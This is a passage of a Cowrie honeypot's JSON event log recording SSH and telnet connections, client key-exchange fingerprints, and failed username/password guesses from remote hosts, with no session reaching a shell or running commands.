rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:58.403632Z","src_ip":"103.118.29.129","session":"fc3456c16705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-root","message":"login attempt [root/root-root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:56:59.396370Z","src_ip":"103.118.29.129","session":"fc3456c16705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:00.641948Z","src_ip":"103.118.29.129","session":"fc3456c16705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":35614,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b2a4e370561","protocol":"ssh","message":"New connection: 200.39.46.41:35614 (10.17.0.5:22) [session: 1b2a4e370561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:09.315989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:09.320019Z","src_ip":"200.39.46.41","session":"1b2a4e370561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:09.473293Z","src_ip":"200.39.46.41","session":"1b2a4e370561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jcon0r73","password":"qvAKezGkBP2x-stx1C-n","message":"login attempt [jcon0r73/qvAKezGkBP2x-stx1C-n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:10.088038Z","src_ip":"200.39.46.41","session":"1b2a4e370561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:11.236899Z","src_ip":"200.39.46.41","session":"1b2a4e370561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":58916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b416a58686bf","protocol":"ssh","message":"New connection: 43.242.203.160:58916 (159.203.135.109:22) [session: b416a58686bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:17.585400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:17.650850Z","src_ip":"43.242.203.160","session":"b416a58686bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:17.992644Z","src_ip":"43.242.203.160","session":"b416a58686bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":27567,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc72a7214ba","protocol":"ssh","message":"New connection: 136.232.11.10:27567 (10.17.0.5:22) [session: 1bc72a7214ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:18.125262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:18.131336Z","src_ip":"136.232.11.10","session":"1bc72a7214ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:18.352938Z","src_ip":"136.232.11.10","session":"1bc72a7214ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456789","message":"login attempt [root/root123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:19.126375Z","src_ip":"43.242.203.160","session":"b416a58686bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:19.252817Z","src_ip":"136.232.11.10","session":"1bc72a7214ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:20.481121Z","src_ip":"136.232.11.10","session":"1bc72a7214ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:21.251449Z","src_ip":"43.242.203.160","session":"b416a58686bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":44852,"dst_ip":"10.17.0.5","dst_port":22,"session":"395c9c14d73e","protocol":"ssh","message":"New connection: 202.51.214.99:44852 (10.17.0.5:22) [session: 395c9c14d73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:38.886872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:38.891771Z","src_ip":"202.51.214.99","session":"395c9c14d73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:39.131930Z","src_ip":"202.51.214.99","session":"395c9c14d73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11221122","message":"login attempt [root/11221122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:40.114322Z","src_ip":"202.51.214.99","session":"395c9c14d73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:41.355522Z","src_ip":"202.51.214.99","session":"395c9c14d73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":45142,"dst_ip":"10.17.0.5","dst_port":22,"session":"633bf66c23a7","protocol":"ssh","message":"New connection: 69.48.205.231:45142 (10.17.0.5:22) [session: 633bf66c23a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:46.235445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:46.239246Z","src_ip":"69.48.205.231","session":"633bf66c23a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:46.289429Z","src_ip":"69.48.205.231","session":"633bf66c23a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11221122","message":"login attempt [root/11221122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:46.524055Z","src_ip":"69.48.205.231","session":"633bf66c23a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:47.577123Z","src_ip":"69.48.205.231","session":"633bf66c23a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":47006,"dst_ip":"10.17.0.5","dst_port":22,"session":"3368ab95b0ae","protocol":"ssh","message":"New connection: 45.137.172.116:47006 (10.17.0.5:22) [session: 3368ab95b0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:52.925057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:52.929696Z","src_ip":"45.137.172.116","session":"3368ab95b0ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:53.025729Z","src_ip":"45.137.172.116","session":"3368ab95b0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:53.444870Z","src_ip":"45.137.172.116","session":"3368ab95b0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:57:54.544428Z","src_ip":"45.137.172.116","session":"3368ab95b0ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.1.228","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"baadedee29a0","protocol":"telnet","message":"New connection: 136.243.1.228:38056 (10.17.0.5:23) [session: baadedee29a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:02.008699Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":42536,"dst_ip":"159.203.135.109","dst_port":22,"session":"540c41d646ff","protocol":"ssh","message":"New connection: 43.242.203.160:42536 (159.203.135.109:22) [session: 540c41d646ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:06.494581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:07.655249Z","src_ip":"43.242.203.160","session":"540c41d646ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:07.659244Z","src_ip":"43.242.203.160","session":"540c41d646ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mulesystems","message":"login attempt [root/mulesystems] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:09.124882Z","src_ip":"43.242.203.160","session":"540c41d646ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:10.397564Z","src_ip":"43.242.203.160","session":"540c41d646ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":47978,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6b2521c7499","protocol":"ssh","message":"New connection: 103.118.29.129:47978 (10.17.0.5:22) [session: e6b2521c7499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:22.032857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:22.037431Z","src_ip":"103.118.29.129","session":"e6b2521c7499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:22.281386Z","src_ip":"103.118.29.129","session":"e6b2521c7499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:23.278105Z","src_ip":"103.118.29.129","session":"e6b2521c7499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:24.523947Z","src_ip":"103.118.29.129","session":"e6b2521c7499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":47428,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ea907037a5","protocol":"ssh","message":"New connection: 200.39.46.41:47428 (10.17.0.5:22) [session: 00ea907037a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:58:38.246367Z"}
